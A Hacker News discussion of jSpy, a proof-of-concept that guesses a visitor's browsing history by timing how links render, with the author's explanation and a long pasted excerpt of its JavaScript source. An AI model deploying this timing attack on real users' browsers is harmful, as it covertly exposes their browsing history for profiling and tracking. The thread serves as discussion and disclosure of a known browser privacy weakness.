Hacker News new | past | comments | ask | show | jobs | submit login
jSpy: Automatically detect user's history (milankragujevic.com)
63 points by milankragujevic on June 7, 2014 | hide | past | favorite | 40 comments



Here's a mirror: https://dl.dropboxusercontent.com/u/192234503/jspy/index.htm... I'm really sorry that my hosting's down.


I tried using Firefox 29.0.1 on a Mac OS 10.8.5 and didn't work. Just shows Calibrating and never starts processing.


You call that hosting? :P

Well I used to offer people on forums to host with me instead of the terrible 000webhost... in theory I could set things up for you (free of course), though I'd have to see how I want to arrange things, haven't had users other than myself on my server in a while now.


I'm setting up a paid GoDaddy host as we speak...


The website is now working, hosted on GoDaddy instead of the free 000webhost. I'm sorry for the downtime, I wasn't expecting a lot of visitors.


The mirror does not seem to work just gets stuck on Calibrating.


It doesn't seem to work on Firefox. Well, it used to.


Can you explain the specific technique you are using?


I'm measuring the time it takes for the browser to render a known visited link (this page) and a known not visited link (random url). Then after it calibrates itself it goes through every link in the list and measures the time it took for the browser to render it. The bigger the time, the bigger chance the link was visited. It then loosely compares the times against the calibration values. It also uses some advanced css techniques to slow down the browser, like having a large box shadow and opacity. All links are hidden with opacity and absolute positioning but it's technically still visible so the browser does render it.



For the curious, the source[1] mentions "Pixel Perfect Timing Attacks" by Paul Stone[2].

[1]: https://dl.dropboxusercontent.com/u/192234503/jspy/scripts.j... [2]: https://media.blackhat.com/us-13/US-13-Stone-Pixel-Perfect-T...


This attack isn’t new – the first proof of concept I know of that worked well is from 2011: http://lcamtuf.blogspot.com/2011/12/css-visited-may-be-bit-o...


Unless I'm missing something, it doesn't collect your history but rather can test whether you have visited a URL before. While still a problem, it's certainly a different thing.


Ok, we changed "collect" to "detect" in the title.


Yes, it would be crazy if it could collect history. But it can be used to target ads much better and create user "profiles" (and track users by cookies on a network of websites) and for example much better target products on an e-commerce website... It doesn't have to be used for evil, but it certainly can, and can be automated.


This vector has been known for many years.


And has been largely fixed for several. See e.g. https://developer.mozilla.org/en-US/docs/Web/CSS/Privacy_and...


Actually it's not using the JavaScript for checking the link color and instead is using a timing attack, so that link makes no sense.


I run it in the Tint browser on Android and got Hacker News plus a few false positives, sites I never heard about and never been at (maybe some images included in other sites?). I got a much longer list of sites in Dolphin but that's my main Android browser. Again, many unknown sites but I can't remember or notice any random link I touch. I tried again with Chromium on Linux and got the cannot calibrate message. Firefox is my main browser and is not supported, luckily, let me add :-)


It has problems on mobile browsers because of the variations in CPU clock speed.


And I also made a jQuery plugin to make it easier to understand the code and also use it on websites. http://projects.milankragujevic.com/jquery.jspy/


Okay, so this is basically brute forcing against a kown list of websites. Not all that impressive IMO.

Although you could possibly try to use this for a clickjacking attack, for instance if you detect amazon.com loading from cache.


Since recently, Amazon has X-Frame-Options header which forbids the browser from loading the website in a frame.


This really didn't work at all. I'm using the latest stable Chrome on a Mac. Roughly 3/4 of the results (there's too many to bother counting) are sites I've never been to.


Either your CPU is too fast or too slow. I can't really fix anything since I don't have a Mac to test with. It works fine on Windows.


Have the same problem. Even if I'm using either Chrome or Safari on my Macbook.


I have tried it on Safari on Windows, Opera on Windows and Chrome on Windows and it works in 99% of the cases. Also my friends tested it. It works on Opera on Android and Chrome on Android (sometimes) on Samsung Galaxy S3 Mini.


Chrome Question: How come on the Network tab on the Developer Tools window (F12) I cannot see any of the traffic to the hundreds of sites the browser is pinging to render into iframes?


What iframes? First of all, most sites don't allow themselves to be embedded into iframes, either with X-Frame-Options or a framebuster (or anti anti framebuster) scripts. Why would the script load sites into iframes? Where does it say that the script does load sites into iframes? It just checks into it's history database and that takes times.


I have extended the list to include 1065 sites + 2 calibration sites. It's also now much faster and much, much more accurate.


Doesn't work on chromium on linux, detected two sites that I've never been to, on a completely fresh install.


Yes, it's not accurate. It's a timing attack which means you have to be on the website all the time during the processing for it to actually work. But still it does work better for smaller sets of sites (up to 7) when set up to do every step 4 times for more accuracy.


If you want to check the source code write in your console:

    var updateParams2 = updateParams;
    function (){debugger; updateParams2()};
then click the button and step in. Here is a part of the source, hope the author doesn't mind about this:

    urls = [
    function initStats() {
        currentUrl = 0;
        start = NaN;
        counter = 0;
        posTimes = [];
        negTimes = [];
        if (stop) {
            stop = false;
            loop()
        }
    }
    function updateParams() {
        out.style.textShadow = "black 1px 1px 60px";
        out.style.opacity = "0.5";
        out.style.fontSize = "15px";
        textLines = (window.textlines ? window.textlines : 100);
        textLen = (window.textlen ? window.textlen : 5);
        write();
        resetLinks();
        initStats()
    }
    function write() {
        var c = "";
        var a = urls[currentUrl];
        var d = "";
        while (d.length < textLen) {
            d += "#"
        }
        for (var b = 0; b < textLines; b++) {
            c += "<a href=" + a;
            c += ">" + d;
            c += "</a> "
        }
        out.innerHTML = c
    }
    function updateLinks() {
        var a = urls[currentUrl];
        for (var b = 0; b < out.children.length; b++) {
            out.children[b].href = a;
            out.children[b].style.color = "red";
            out.children[b].style.color = ""
        }
    }
    function resetLinks() {
        for (var a = 0; a < out.children.length; a++) {
            out.children[a].href = "http://" + Math.random() + ".asd";
            out.children[a].style.color = "red";
            out.children[a].style.color = ""
        }
    }
    function median(b) {
        b.sort(function(e, d) {
            return e - d
        });
        if (b.length % 2) {
            var a = b.length / 2 - 0.5;
            return b[a]
        } else {
            var c = b[b.length / 2 - 1];
            c += b[b.length / 2];
            c = c / 2;
            return c
        }
    }
    function loop(c) {
        if (stop) {
            return
        }
        var d = (c - start) | 0;
        start = c;
        if (!isNaN(d)) {
            counter++;
            if (counter % 2 == 0) {
                resetLinks();
                if (counter > 4) {
                    if (currentUrl == 0) {
                        document.getElementById("nums").textContent = "Calibrating...";
                        posTimes.push(d);
                        timespans[currentUrl].textContent = posTimes.join(", ")
                    }
                    if (currentUrl == 1) {
                        negTimes.push(d);
                        timespans[currentUrl].textContent = negTimes.join(", ");
                        if (negTimes.length >= calibIters) {
                            var b = median(posTimes);
                            var a = median(negTimes);
                            if (b - a < 30) {
                                if (window.textLines < 200) {
                                    window.textlines = textLines + 50;
                                    stop = true;
                                    updateParams()
                                }
                                stop = true;
                                return
                            }
                            threshold = a + (b - a) * 0.75;
                            document.getElementById("nums").textContent = "Median Visited: " + b + "ms  / Median Unvisited: " + a + "ms / Threshold: " + threshold + "ms";
                            timeStart = Date.now()
                        }
                    }
                    if (currentUrl >= 2) {
                        timespans[currentUrl].textContent = d;
                        linkspans[currentUrl].className = (d >= threshold) ? "visited yes" : "visited";
                        if ((d >= threshold) == true) {
                            window.links.push(urls[currentUrl])
                        }
                        incUrl = true
                    }
                    currentUrl++;
                    if (currentUrl == 2 && (negTimes.length < calibIters || posTimes.length < calibIters)) {
                        currentUrl = 0
                    }
                    if (currentUrl == urls.length) {
                        timeElapsed = (Date.now() - timeStart) / 1000;
                        document.getElementById("nums").innerHTML += "<br>Time elapsed: " + timeElapsed + "s, tested " + (((urls.length - 2) / timeElapsed) | 0) + " URLs/sec";
                        stop = true;
                        finishjSpy()
                    }
                    if (currentUrl > 2) {
                        $(".analyze_log").html(urls[currentUrl])
                    } else {
                        $(".analyze_log").html("Calibrating... ")
                    }
                    currentURLout.textContent = urls[currentUrl]
                }
            } else {
                updateLinks()
            }
        }
        requestAnimationFrame(loop)
    }
    function setupLinks() {
        window.links = [];
        var f = document.createElement("table");
        f.innerHTML = "<tr><th></th><th>URL</th><th>Times (ms)</th></tr>";
        f.className = "linklist";
        for (var e = 0; e < urls.length; e++) {
            var b = document.createElement("a");
            b.href = urls[e];
            b.textContent = urls[e];
            var h = document.createElement("span");
            h.className = "timings";
            var d = document.createElement("span");
            d.textContent = "\u2713";
            d.className = "visited";
            var g = document.createElement("tr");
            for (var c = 0; c < 3; c++) {
                g.appendChild(document.createElement("td"))
            }
            g.cells[0].appendChild(d);
            g.cells[1].appendChild(b);
            g.cells[2].appendChild(h);
            f.appendChild(g);
            timespans[e] = h;
            linkspans[e] = d
        }
        document.getElementById("log").appendChild(f)
    }
    setupLinks();
    function initjSpy() {
        $(".loading").fadeIn()
    }
    function finishjSpy() {
        $(".loading").fadeOut();
        $.each(window.links, function(a, b) {
            $(".results ul").append("<li>" + b + "</li>")
        });
        $(".content").fadeOut();
        $(".jspy").remove();
        setTimeout(function() {
            $(".content").remove();
            $(".results").fadeIn()
        }, 500)
    }
    ;


Suggestions:

    - use if else;
    - replace "if(stop){return}" with "cancelAnimationFrame";
    - don't save data in the html nodes, DOM is slow, use js object to store data (timespans[currentUrl].textContent = d;).
    - no need to use "window.links = ..." you can simply "links = ..."


Thanks for the suggestions, I implemented them, and also un-obfuscated and formatted the code. Also, now it's much faster since it doesn't use DOM.


I see you always omit the semicolon for the last statement in a block. Is this a Pascal influence?


No, I ran the code through an optimizer and checked "remove last semicolon".


Thanks for sharing (: as always open source (or almost) comes with suggestions


Bandwidth limit. Any mirror?


Funny, we get a modal for "Web hosting that rocks!" the second dude's website hits some arbitrary "CPU limit" (no mention of any such limits in the premium vs. free featurelist below)

F- would not host there.




Join us for AI Startup School this June 16-17 in San Francisco!

Guidelines | FAQ | Lists | API | Security | Legal | Apply to YC | Contact

Search: